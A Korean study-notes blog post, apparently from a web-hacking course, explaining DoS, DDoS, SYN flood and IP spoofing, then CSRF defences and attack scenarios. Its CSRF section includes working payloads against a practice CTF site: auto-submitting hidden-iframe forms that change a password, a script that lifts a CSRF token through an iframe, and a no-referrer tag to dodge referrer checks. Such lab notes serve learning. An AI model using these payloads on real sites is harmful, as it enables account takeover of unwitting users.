본문 바로가기

개념정리

13주차 DOS / DOS 공격종류 / CSRF 공격 시나리오 / REFERRER

 

DOS / DOS 공격종류 / CSRF 공격 시나리오 / REFERRER


 

DoS (Denial Of Service)

- 서비스 거부공격 -> 서버가 서비스를 하지 못하도록 함

- 서비스 -> 웹 서버의 로그인, 회원가입 등등의 서비스


DoS 전략

- 애플리케이션 취약점

- 서버 리소스 소모

- 네크워크 대역폭 소모

- 물리적 테러

 

애플리케이션 취약점 

- 서버 취약점 필요

- 버그 유발 

- 아파치 프로그램 종료

- 게시판 -> 타계정 삭제 공격

- 로그인 -> 비번 오류횟수 제한 이용 로그인 하지 못하도록 가용성 침해 

 

서버 리소스 소모

- 서버 취약점 필요

- 게시판 -> 자료 업로드 기능 서버디비를 가득 차게 해서 자료 업로드를 못하게 

- CPU 소모

 

네트워크 대역폭 소모 

- 서버에 취약점 없어도 가능!!

- 트래픽 유발 -> 많은양의 데이터 보내어 통로 막히게 한다


DDos (Distributed Denial Of Service)

- 분산 서비스 공격

- 여러대의 컴퓨터를 이용해 공격 -> C&C Server

 

C&C Server (C2 Server / Command & Control Server)

- 명령을 내리는 주인 컴퓨터가 크랙파일들로 좀비컴퓨터를 만들어서 다룬다

- 지정 시간간격으로 공격, 조종 가능함을 알리고 이를 통해 이득을 취하는 방법


DRDos (Distributed Reflected Denial Of Service)

- 클라이언트 측에서 간단한 값을 보내고 서버에서 큰 값을 보내게 될때

- ip주소를 바꿔 보내서 나에게 값이 수신되도록 한다 

- IP Spoofing

 

IP Spoofing

- 아이피를 변조하여 보내는 공격

- 응답을 받지 못한다.

 


TCP/UDP

- IP주소 -> 컴퓨터 주소

- 네트워크 패킷 전달 역할의 포트 번호 담당

- 포트당 TCP/UDP의 두가지 타입이 있다

- 각각 데이터를 전달하는 규칙(PROTOCOL)이 다르다.

 

TCP

- 데이터를 안전하게 보내고 싶을때

- 데이터가 변조되거나 순서가 뒤바뀌지 않게

- 데이터를 보내기전에 상대 네트워크와 연결 협상을 한다

- 3 WAY HANDSHAKE [SYN -> SYN/ACK -> ACL (여보세요 -> 네 여보세요 -> 네)]

- HTTP는 TCP 프로토콜이다 -> 로그인요청을 보내면 SYN이 가니까

 

UDP

- 데이터 덩어리를 보낸다

- 연결 협상X 질의X

- 심플 빠름

 


DOS 공격 종류

- C&C Server

- SYN FLOOD

- IP SPOOFING


 

C&C Server (C2 Server / Command & Control Server)

- 명령을 내리는 주인 컴퓨터가 크랙파일들로 좀비컴퓨터를 만들어서 다룬다

- 지정 시간간격으로 공격, 조종 가능함을 알리고 이를 통해 이득을 취하는 방법


SYN Flood

- 3WAY HANDSHAKE에서

- ACK 주지않고 SYN만 겁나보냄 그래서 부하를 걸리게 한다

- HTTP 80포트 암호화 안함

- HTTPS 443포트 암호화 함

- 와이파이에서 HTTP사이트는 암호화가 안되어 통신내용을 다 볼 수 있다 따라서 VPN을 사용

*데이터 평문 전송 취약점도 존재 


IP Spoofing

- 아이피를 변조하여 보내는 공격

- 응답을 받지 못한다.

 


CSRF 

- 피해자가 서버로 임의의 요청을 보내게 만드는 공격 

 

1. 중요한 요청 판단되는 것을 식별

2. 해당 요청 생성가능 여부 체크 -> CSRF 존재

3. GET METHOD 체크

* 방어 -> POST METHOD로 처리 되도록 구현

4. POST FORM TAG로 보냄

* 방어 -> 요청데이터가 공격자가 미리 세팅 할 수 없도록 CSRF TOKEN 추가 CSRF TOKEN

5. DOCUMENT TOKEN 을 가져와서 보내기 

* 방어 -> REQUEST의 REFERRER에서 특정위치에서 보낸 요청만 처리되게 한다.

 

 

CSRF TOKEN

- 특정페이지로 들어갈때 HIDDEN으로 랜덤값의 TOKEN을 생성하고 저장

- 그 후 랜덤값을 특정페이지 안에 넣어서 보낼 때만 요청이 처리 되는 것

* 요청이 특정페이지 뿐만아니라 다른 페이지 에서도 사용하면 이때도 CSRF토큰을 넣는것을 깜빡하기도 한다 *

* CSRF_TOKEN 파라미터가 없으면 CSRF TOKEN검사를 하지 않게 개발하기도 한다

 

REFERRER

- REQUEST의 REFERRER에서 특정위치에서 보낸 요청만 처리되게 한다.

- 우회 방법 없음

- 확장성이 떨어짐

- 하지만 REFERRER을 제대로 체크하기 어렵다 서비스에 지장이 가기도 하기때문에

- 에러시 눈감아주거나, 다른 사이트에서도 같은 요청이 필요 할 때도 있기 때문이다

- 그러나 REFERRER를 없애고 보내면 에러 안나고 요청이 갈 수 있다

 

근본적인 대응 방법

- 인증정보 넣는다 -> 2차비번 1차비번 핸드폰인증 등

- 그러나 게시글쓸때마다, 댓글쓸때마다 인증할 수 없으니 적절하게 위험한 부분에서만 사용한다.

 


CSRF 공격 시나리오

- LINK (GET METHOD)

- XSS (POST METHOD)

- GET TOKEN (IFRAME)

- DELETE REFERRER


CSRF LINK

- GET METHOD로 요청이 보내질 때 요청이 포함된 URL을 접속하도록 유도한다

EX) http://~~~/?passwd=1&confirm=1&submit=submit

- URL SHORT 사용 -> URL이 너무 길어서 전송이 안될때 혹은 URL이 수상할때 SHORT URL에서 만든다

EX) shorturl.at/~~~로 축약


CSRF with XSS 

- POST METHOD로만 요청일 보내질 때 XSS취약점을 함께 이용한다

- XSS 취약점으로 POST FORM TAG 를 삽입해서 POST 요청을 보낸다.

EX) 

<h1>아래버튼을 클릭해 주세요!</h1>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="sendForm" target="stealthFrame">
//틀에 마이페이지 링크 삽입, POST값으로 form 생성
<input type="submit" name="pw" value="1"/>
//보낼 비밀번호 값
</form>

-> IFRAME 사용X

<iframe id="stealthFrame" hidden></iframe>
//POST값을 접속할 마이페이지의 틀

<form method="POST" 
action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" 
id="sendForm" target="stealthFrame">
//틀에 마이페이지 링크 삽입, POST값으로 form 생성
<input type="hidden" name="pw" value="1"/>
//보낼 비밀번호 값
</form>

<script> document.getElementById('sendForm').submit(); </script>
//form 값 제출

-> IFRAME 사용O


CSRF GET TOKEN

- TOKEN값을 같이 보내야 할 때 

- IFRAME으로 토큰 값을 빼오고 이를 FORM TAG로 전송한다.

<iframe 
src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php"
id="getToken" onload="token()" hidden>
</iframe>
//토큰 함수가 로드되면 실행될 토큰을 얻을 마이페이지의 틀

<form 
action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php"
id="sendForm" method="POST" target="sendToken">
	
    <input type="hidden" name="pw" value="1">
	<input type="hidden" name="csrf_token" value="">

</form>
//마이페이지 업데이크 링크에 POST값으로 비밀번호 값과 토큰값을 넣을 form 생성

<script>
function token() {
document.getElementById('getToken').contentWindow.alert = function() {};
//마이페이지에서 실행되는 alert함수를 삭제
var  csrfToken = document.getElementById('getToken')
.contentWindow.document.getElementsByName('csrf_token')[0].value;
//마이페이지에서 토큰이 발행되는 태그이름을 통해 토큰을 가져옴
document.getElementById('sendForm').querySelector('input[name="csrf_token"]')
.value = csrfToken;
//마이페이지에서 가져온 토큰을 업데이트 form에 삽입
document.getElementById('sendForm').submit();
//마이페이지 업데이트 링크에 생성한 폼 제출
}
</script>

CSRF REFERRER CHECK

- REFERRER값이 존재할때 REFERRER를 삭제하여 요청이 보내는게 가능하다

EX)

 

<meta name="referrer" content="no-referrer">

-> META TAG 삽입